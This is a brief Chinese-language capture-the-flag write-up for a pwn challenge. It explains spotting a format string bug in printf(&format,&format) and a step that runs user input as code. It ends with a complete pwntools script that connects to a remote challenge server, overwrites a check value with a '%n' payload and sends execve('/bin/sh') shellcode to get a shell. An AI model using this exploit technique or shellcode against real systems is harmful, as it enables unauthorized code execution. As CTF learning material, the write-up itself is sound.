AD_string
AD string WP
这个题戏好多啊
总而言之,终于摸到了格式化字符串漏洞的大门!
具体步骤
checksec发现地址是动态的,die查壳发现是64位
运行一下全是字,然后发现诶,有secret,看来是好东西(当时应该想到是地址的)。
打开发现居然有secret地址输出诶!(当时应该想到是格式化字符串的)
4.然后读流程,基本上就是文字游戏,注意两点:
- 游戏中间有个printf非常奇怪:
printf(&format,&format)
注意到format本身就是格式化的意思,且还是wish(好冷),应该判断这个地方就是输入格式化字符串改变某些值
- 最后有一个直接将字符串运行,可以注入shellcode(不是sheetcode!),但是条件是使某两个数相等
5.综上可知应该是通过改变这两个secret中的一个的值,然后注入sheetcode,具体脚本如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * p=remote("220.249.52.134",57100) payload="%85c%7$n" p.recvuntil("secret[0] is ") addr=int(p.recvuntil("\n"),16) p.recvuntil("be:") p.sendline("aaa") p.recvuntil("up?:") p.sendline("east") p.recvuntil(":") p.sendline("1") p.recvuntil("address") p.sendline(str(addr)) p.recvuntil("is:") p.sendline(payload) p.recvuntil("SPELL") shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' p.sendline(shellcode) p.interactive()
|
关于格式化字符串
在学,争取下周出个wiki